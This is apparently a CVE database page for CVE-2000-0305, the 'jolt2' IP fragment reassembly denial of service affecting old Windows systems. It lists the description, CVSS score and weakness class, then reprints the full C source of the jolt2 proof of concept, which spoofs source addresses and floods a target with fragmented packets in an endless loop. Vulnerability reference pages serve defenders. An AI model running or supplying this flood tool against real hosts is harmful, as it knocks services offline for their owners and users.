CVE-2000-0305 : Detail

CVE-2000-0305

36.87%V4
Network
2000-07-12
02h00 +00:00
2005-11-02
09h00 +00:00
CVE.org
NVD
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CVE Descriptions

Windows 95, Windows 98, Windows 2000, Windows NT 4.0, and Terminal Server systems allow a remote attacker to cause a denial of service by sending a large number of identical fragmented IP packets, aka jolt2 or the "IP Fragment Reassembly" vulnerability.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-399 Category : Resource Management Errors
Weaknesses in this category are related to improper management of system resources.

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 214

Publication date : 2000-12-01 23h00 +00:00
Author : phonix
EDB Verified : Yes

/* * File: jolt2.c * Author: Phonix <phonix@moocow.org> * Date: 23-May-00 * * Description: This is the proof-of-concept code for the * Windows denial-of-serice attack described by * the Razor team (NTBugtraq, 19-May-00) * (MS00-029). This code causes cpu utilization * to go to 100%. * * Tested against: Firewall-1 * * Written for: My Linux box. YMMV. Deal with it. * * Thanks: This is standard code. Ripped from lots of places. * Insert your name here if you think you wrote some of * it. It's a trivial exploit, so I won't take credit * for anything except putting this file together. */ #include <stdio.h> #include <string.h> #include <netdb.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/ip_icmp.h> #include <netinet/udp.h> #include <arpa/inet.h> #include <getopt.h> struct _pkt { struct iphdr ip; union { struct icmphdr icmp; struct udphdr udp; } proto; char data; } pkt; int icmplen = sizeof(struct icmphdr), udplen = sizeof(struct udphdr), iplen = sizeof(struct iphdr), spf_sck; void usage(char *pname) { fprintf (stderr, "Usage: %s [-s src_addr] [-p port] dest_addr\n", pname); fprintf (stderr, "Note: UDP used if a port is specified, otherwise ICMP\n"); exit(0); } u_long host_to_ip(char *host_name) { static u_long ip_bytes; struct hostent *res; res = gethostbyname(host_name); if (res == NULL) return (0); memcpy(&ip_bytes, res->h_addr, res->h_length); return (ip_bytes); } void quit(char *reason) { perror(reason); close(spf_sck); exit(-1); } int do_frags (int sck, u_long src_addr, u_long dst_addr, int port) { int bs, psize; unsigned long x; struct sockaddr_in to; to.sin_family = AF_INET; to.sin_port = 1235; to.sin_addr.s_addr = dst_addr; if (port) psize = iplen + udplen + 1; else psize = iplen + icmplen + 1; memset(&pkt, 0, psize); pkt.ip.version = 4; pkt.ip.ihl = 5; pkt.ip.tot_len = htons(iplen + icmplen) + 40; pkt.ip.id = htons(0x455); pkt.ip.ttl = 255; pkt.ip.protocol = (port ? IPPROTO_UDP : IPPROTO_ICMP); pkt.ip.saddr = src_addr; pkt.ip.daddr = dst_addr; pkt.ip.frag_off = htons (8190); if (port) { pkt.proto.udp.source = htons(port|1235); pkt.proto.udp.dest = htons(port); pkt.proto.udp.len = htons(9); pkt.data = 'a'; } else { pkt.proto.icmp.type = ICMP_ECHO; pkt.proto.icmp.code = 0; pkt.proto.icmp.checksum = 0; } while (1) { bs = sendto(sck, &pkt, psize, 0, (struct sockaddr *) &to, sizeof(struct sockaddr)); } return bs; } int main(int argc, char *argv[]) { u_long src_addr, dst_addr; int i, bs=1, port=0; char hostname[32]; if (argc < 2) usage (argv[0]); gethostname (hostname, 32); src_addr = host_to_ip(hostname); while ((i = getopt (argc, argv, "s:p:h")) != EOF) { switch (i) { case 's': dst_addr = host_to_ip(optarg); if (!dst_addr) quit("Bad source address given."); break; case 'p': port = atoi(optarg); if ((port <=0) || (port > 65535)) quit ("Invalid port number given."); break; case 'h': default: usage (argv[0]); } } dst_addr = host_to_ip(argv[argc-1]); if (!dst_addr) quit("Bad destination address given."); spf_sck = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (!spf_sck) quit("socket()"); if (setsockopt(spf_sck, IPPROTO_IP, IP_HDRINCL, (char *)&bs, sizeof(bs)) < 0) quit("IP_HDRINCL"); do_frags (spf_sck, src_addr, dst_addr, port); } // milw0rm.com [2000-12-02]

Products Mentioned

Configuraton 0

Be>>Beos >> Version 5.0

    Microsoft>>Windows_2000 >> Version *

    Microsoft>>Windows_95 >> Version *

    Microsoft>>Windows_98 >> Version *

    Microsoft>>Windows_nt >> Version 4.0

    Configuraton 0

    Microsoft>>Terminal_server >> Version *

    References

    http://www.securityfocus.com/templates/advisory.html?id=2240
    Tags : vendor-advisory, x_refsource_BINDVIEW
    http://www.securityfocus.com/bid/1236
    Tags : vdb-entry, x_refsource_BID
    The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.